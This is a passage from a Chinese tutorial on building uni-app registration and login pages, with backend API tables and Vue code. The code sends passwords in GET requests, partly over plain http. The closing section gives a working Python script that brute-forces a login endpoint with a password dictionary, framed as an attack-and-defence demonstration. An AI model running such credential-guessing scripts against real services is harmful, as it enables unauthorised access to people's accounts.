好像又扯远了,咱们这个程序好像还不行吧,咱们还没注册呢,怎么可能直接就显示注册成功了,我们还需要发送请求到后端,如果我们发送的数据满足后端的条件,那么后端应该会告诉我们注册成功,那样我们才是真的注册成功了,有同学可能又着急了,那搞清楚了,就赶紧发请求呗,磨叽啥。
我只想说,你发请求,发什么过去,你连用户输入的数据都还没有收集呢,那么怎么收集用户的数据呢?那先看我操作,再给你们解释。
<template>
<view>
<input type="text" placeholder="请输入用户名" v-model="username"/>
<button @click="nihao()">你好</button>
</view>
</template>
<script>
export default {
data() {
return {
username:''
}
},
methods: {
nihao(){
// alert('你好')
uni.showToast({
title: this.username,
duration:3000,
icon:'loading'
})
}
}
}
</script>
<style>
input{
border: 1px solid black;
padding: 10px;
margin: 10px;
}
</style>
v-model是将输入框和data中的数据实现双向绑定,因为我们知道数据都是保存在变量里的,相当于就是弄了个变量来保存输入框中输入的数据。
但是你怎么知道输入的数据有没有保存到data中呢,还记得刚才我们不是有一个提示框吗?我们就把用户名输入框的数据username当作输入框的标题文字吧,但是记得前面要加this,这个问题比较复杂一些,涉及到底层的原因,你就理解this代表这个页面,this.username就表示这个页面上的username变量。
25.发送请求(注册页面完整代码)
再发请求之前,我们还要先去看一下后端程序员的文档。
那个所谓的后端程序员其实就是我,没人给你们写后端,你们前端也练不了,网上肯定没有人会提供后端给你们练习,一是这玩意写着非常累,花时间,二是容易被攻击,服务器的运行成本也高,三是还得备案,特别麻烦。所以你过了这村没这店,你要是现在不学,以后也几乎没有机会学了,况且我还随叫随到,你一个标点符号写错了,我弯着腰一行一行给你找,眼睛都看花了,以后工作了公司里谁会这样帮你,其实你和程序员有没有缘分现在几乎也能看出来了,八九不离十,现在这样保姆式教学都不学,以后难了,唉,以后的路自己走吧,言尽于此,估计不想学习的也不会看到这里,说实话,我是一个字一个字敲到这里的,要敲很多天,真的很累,你们可能一天就看到这了,我真尽力了,且行且珍惜吧。
| 请求地址 | 请求方式 |
|---|---|
| http://teach.xiaolily.cn/Signup.php | get |
| 字段名称 | 类型及长度 | 是否必需 | 默认值 |
|---|---|---|---|
| username | char(100) | 是 | 无 |
| password | char(100) | 是 | 无 |
| cpassword | char(100) | 是 | 无 |
| 返回参数 | 字段 |
|---|---|
| msg | 错误提示信息 |
| error | 错误状态标志,1为错误,0为无误 |
接下来怎么发送请求呢?我们先看一下官方给的参考示例吧。
uni.request({
url: 'https://www.example.com/request', //仅为示例,并非真实接口地址。
data: {
text: 'uni.request'
},
success: (res) => {
console.log(res.data);
}
});
很多同学这个格式写不对,经常多一个逗号少一个逗号的,其实你就在官方给的样例上修改就行了,这样格式就不会错了。
<template>
<!-- 网页主体 -->
<body class="flex_column">
<!-- 标题区域 -->
<div class="title_section flex_row" style="justify-content: space-around;">
<h3>用户注册</h3>
<h3>X</h3>
</div>
<!-- 图片区域 -->
<div class="image_section flex_column">
<image style="width: 100px;height: 100px;" src="../../static/logo.png" mode=""></image>
<h4>Hi、请注册</h4>
</div>
<!-- 用户输入区域 -->
<div class="input_secition flex_column">
<div class="flex_row">
<p>用户名:</p>
<input v-model="username" type="text" placeholder="请输入账号"/>
</div>
<div class="flex_row">
<p>密码:</p>
<input v-model="password" type="password" placeholder="请输入密码"/>
</div>
<div class="flex_row">
<p>确认密码:</p>
<input v-model="cpassword" type="password" placeholder="请再次输入密码"/>
</div>
</div>
<!-- 按钮区域 -->
<div class="button_section flex_row">
<button @click="signup()" class="login_button">注册</button>
</div>
</body>
</template>
<script>
export default {
data() {
return {
username: "",
password: "",
cpassword: "",
}
},
onLoad() {
},
methods: {
// 注册
signup(){
uni.request({
url: "http://teach.xiaolily.cn/Signup.php", //仅为示例,并非真实接口地址。
data: {
username: this.username,
password: this.password,
cpassword: this.cpassword
},
header: {
"custom-header": "hello" //自定义请求头信息
},
success: (res) => {
console.log(res.data);
if(res.data.error==1){
uni.showToast({
title:res.data.msg,
duration:3000,
icon:'error'
})
}else{
uni.showToast({
title:res.data.msg,
duration:3000,
icon:'success'
})
}
}
});
}
}
}
</script>
<style>
.login_button{
width: 50vw;
font-weight: bold;
}
.login_button:hover{
background-color: aquamarine;
}
input{
border: 1px solid black;
margin: 10px;
padding: 10px;
}
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
/* 弹性盒子横着排 */
.flex_row{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: row;/*排列方向:横向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
/* 弹性盒子竖着排 */
.flex_column{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: column;/*排列方向:纵向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
</style>
26.发送登录请求
注册成功了之后怎么验证呢?那当然是去登录一下咯,如果你能用你刚才注册好的账号登录,就说明注册的时候信息已经提交到数据库了。
我们来看一下登录接口的后端文档吧
| 请求地址 | 请求方式 |
|---|---|
| https://teach.xiaolily.cn/Login.php | get |
| 字段名称 | 类型及长度 | 是否必需 | 默认值 |
|---|---|---|---|
| username | char(100) | 是 | 无 |
| password | char(100) | 是 | 无 |
| 返回参数 | 字段 |
|---|---|
| msg | 错误提示信息 |
| error | 错误状态标志,1为错误,0为无误 |
<template>
<body class="flex_column">
<!-- 标题栏 -->
<div class="title_seciton flex_row" style="justify-content: space-around">
<h1>登录</h1>
<h1>X</h1>
</div>
<!-- 图片区域 -->
<div class="image_section flex_column">
<img src="static/angry.gif" alt="图片加载失败">
<h4>HI!请登录</h4>
</div>
<!-- 用户输入区域 -->
<div class="input_section flex_column">
<div class="input_box flex_row">
<p>用户名:</p>
<input type="text" placeholder="请输入密码" v-model="username">
</div>
<div class="input_box flex_row">
<p>密码:</p>
<input type="password" placeholder="请输入账号" v-model="password">
</div>
</div>
<!-- 登录按钮的区域 -->
<div class="button_section flex_column">
<button class="button" @click="login">登录</button>
</div>
<navigator url="/pages/signup/signup">没有账号,立即注册</navigator>
</body>
</template>
<script>
export default {
data() {
return {
username: '', //用户名
password:'', //密码
}
},
onLoad() {
},
methods: {
login(){
uni.request({
url:'https://teach.xiaolily.cn/Login.php',
data:{
username:this.username,
password:this.password,
},
success(res) {
console.log(res)
// 如果登录成功
if(res.data.error==0){
uni.showToast({
title:res.data.msg,
icon:'success',
duration:3000
})
// 否者就是登录失败了
}else{
uni.showToast({
title:res.data.msg,
icon:'error',
duration:3000
})
}
}
})
}
}
}
</script>
<style>
input{
padding: 10px;
padding-left: 20px;
border: 1px solid black;
margin: 10px;
}
.title_seciton{
width: 100vw;
height: 10vh;
background-color: white;
}
.image_section{
width: 100vw;
height: 30vh;
background-color: #efefef;
}
.input_section{
width: 100vw;
height: 40vh;
background-color: red;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: blue;
}
.button{
padding:10px 50px;
font-size: 25px;
background-color: cornflowerblue;
}
.button:hover{
background-color: green;
}
/* 弹性盒子横着排 */
.flex_row{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: row;/*排列方向:横向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
/* 弹性盒子竖着排 */
.flex_column{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: column;/*排列方向:纵向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
</style>
27.记录登录信息(浏览器本地缓存)
登录完了之后,后端给我们返回的msg里提示登录成功,我们知道登录成功了,然后呢,就只是知道一下就行了吗?
我们要理一理登录成功会发生哪些改变,登录成功了之后我们希望网站能够知道我们的身份,我们现在为了简单,不弄什么会员等级制度,但是我们总得让网站知道我们已经登录了吧,因为网站有很多操作都是要登录才能使用的,比如发送留言等等,那怎么样才能让网站记录我们的登录状态呢,我们下面就会用到浏览器的缓存机制。
| 语句 | 解释 |
|---|---|
| uni.setStorageSync(key,data) | 将 data 存储在本地缓存中指定的 key 中,会覆盖掉原来该 key 对应的内容 |
| uni.getStorageSync(key) | 从本地缓存中同步获取指定 key 对应的内容 |
<template>
<body>
<button @click="login()">存缓存</button>
</body>
</template>
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
login(){
//将字符串数据'你的名字'存放到缓存中一个叫'username'的盒子里
uni.setStorageSync('username','张三')
//从缓存中取一个叫'username'的盒子里取东西,取出来记得还得找个变量存放一下
var login_username = uni.getStorageSync('username')
//打印变量的值看看是什么
console.log(login_username)
}
}
}
</script>
存缓存也用到了uniapp给我们提供的一个接口,我们通过这个接口可以把用户的身份信息存到浏览器缓存中,但是我们之后怎么把我们的身份信息又从浏览器缓存中取出来呢?想想我们搬家的时候是怎么打包物品的呢?我们是不是要准备很多箱子,然后把我们的生活物品放到箱子里,当然如果乱放的话,到时候肯定是找不到的,所以我们会在每个箱子上贴一个标签,装衣服的箱子就贴个衣服的标签,装鞋的箱子就贴个鞋的标签。
我们存缓存也是一样的道理,如果如果把数据乱存进去,到时候肯定是找不到的,所以我们要对我们的数据贴一个标签,这个标签的名字怎么取呢?还是和我们搬家一样,放的是什么就叫什么好了,放的是衣服就贴衣服标签,我们上面的代码是要存放用户名‘你的名字’,uni.setStorageSync('username','张三'),那标签名就叫username好了,之后我们再用uni.getStorageSync('username')去把用户名取出来,我们之前把用户名存放在username箱子里,就应该从username这个箱子中把用户名取出来。
最后,那个'张三'是我们随便放的数据,只是测试一下,具体的逻辑应该是,在登录成功之后,我们将用户名保存到缓存里,如果缓存中有用户名,说明用户已经登录成功了,如果没有肯定是没有登录的。登录成功之后再跳转到首页,在首页我们可以修改密码,可以管理用户,那是我们之后要做的事情。
至此,我们的登录注册功能就全部完成了,这一块的内容,我就最为我们这个项目的最后考核吧,不提供代码,但是所有的知识已经教给你们了,你们只要按照这个逻辑写出来就可以了,不存在新的知识点,看你能够对所学的知识进行融会贯通吗?如果你能做到,祝贺你,你已经掌握了本部分的内容,向着更高的方向前进吧!
补充:页面跳转
登录成功可以跳转到首页,当然,你得先新建一个页面
// 如果登陆成功,自动跳转到首页
uni.redirectTo({
url:'/pages/main/main'
});
登录页面完整代码
<template>
<body class="flex_column">
<!-- 标题区域 -->
<div class="title_section flex_row" style="justify-content: space-around;">
<h2>登录</h2>
<h2>X</h2>
</div>
<!-- 图片区域 -->
<div class="image_section flex_column">
<image style="width: 100px;height: 100px;"
src="../../static/logo.png" mode=""></image>
<h3>HI请登录</h3>
</div>
<!-- 输入区域 -->
<div class="input_section flex_column">
<!-- 输入盒(包括一个文字和输入框)(弹性盒子横着排) -->
<div class="input_box flex_row">
<text>用户名:</text>
<input type="text" value="" v-model="username"/>
</div>
<!-- 输入盒(包括一个文字和输入框) -->
<div class="input_box flex_row">
<text>密码:</text>
<input type="password" value="" v-model="password"/>
</div>
</div>
<!-- 按钮区域 -->
<div class="button_section flex_column">
<button class="login_button" @click="login()">登陆</button>
</div>
<navigator url="../signup/signup">没有账号、立即注册</navigator>
</body>
</template>
<script>
export default {
data() {
return {
username:"",
password:"",
}
},
onLoad() {
},
methods: {
login(){
uni.request({
url:"https://teach.xiaolily.cn/Login.php",
data:{
username:this.username,
password:this.password
},
// 如果后端成功相应我们的请求
success:(res) => {
console.log(res.data.error)
// 如果error==1的话,那就是登陆成功了
if(res.data.error==0){
// 下面三行是新增的存储缓存的代码
// 目的是当登陆成功的时候保存用户的用户名
uni.setStorageSync('username',this.username)
let username = uni.getStorageSync('username')
console.log(username);
// 弹框给用户看
uni.showToast({
icon:"success",
title:res.data.msg,
duration:3000,
})
// 如果登陆成功,自动跳转到首页
uni.redirectTo({
url:'/pages/main/main'
});
// 否则就是登陆失败了
}else{
uni.showToast({
icon:"error",
title:res.data.msg,
duration:3000,
})
}
}
})
}
}
}
</script>
<style>
.login_button{
padding-left: 50px;
padding-right: 50px;
}
input{
margin: 10px;
border: #555555 1px solid;
padding: 10px;
}
/* 弹性盒子横着排 */
.flex_row{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: row;/*排列方向:横向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
/* 弹性盒子竖着排 */
.flex_column{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: column;/*排列方向:纵向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
.title_section{
height: 10vh;
width: 100vw;
background-color: #007AFF;
}
.image_section{
height: 30vh;
width: 100vw;
background-color: #4CD964;
}
.input_section{
height: 30vh;
width: 100vw;
background-color: #F0AD4E;
}
.button_section{
height: 20vh;
width: 100vw;
background-color: #DD524D;
}
</style>
补充:密码爆破
大家已经完成了一个页面了,其他页面无非也是同样的套路,大同小异,就是体力活而已,是不是感觉很简单,前端工程师的工作也就不过如此了。
但是如果这个网站真的上线,会轻易被黑客攻破(我就曾经被打过),我在这里带大家体验一种最简单的攻防手段—密码爆破
注意:这里用到requests是第三方库,要提前安装,安装方法,先按下WIN+R键,输入cmd,回车,最后输入pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple
import requests
# 用一个密码去试
def shishi(account,password):
# 请求的地址
url = 'http://10.163.72.39:5555/Login_get.php'
# 请求的参数
params = {
'username':account,
'password':password
}
# 发送请求,获得回应
res = requests.get(url,params=params)
# 判断是否回应了成功,如果是的话,说明密码对了
if 'success' in res.text:
print('恭喜你,找到正确的密码:'+password)
# 打开密码字典,获得一个可迭代的对象
passwords = open('password.txt')
for password in passwords:
shishi('zhangsan',password.strip())
其中的密码字典怎么获得呢?有很多社工的软件,我就提供一个网页版给你们用,这个其实效果不好,只能生成一百个密码,但是不用下载软件,凑合着用吧~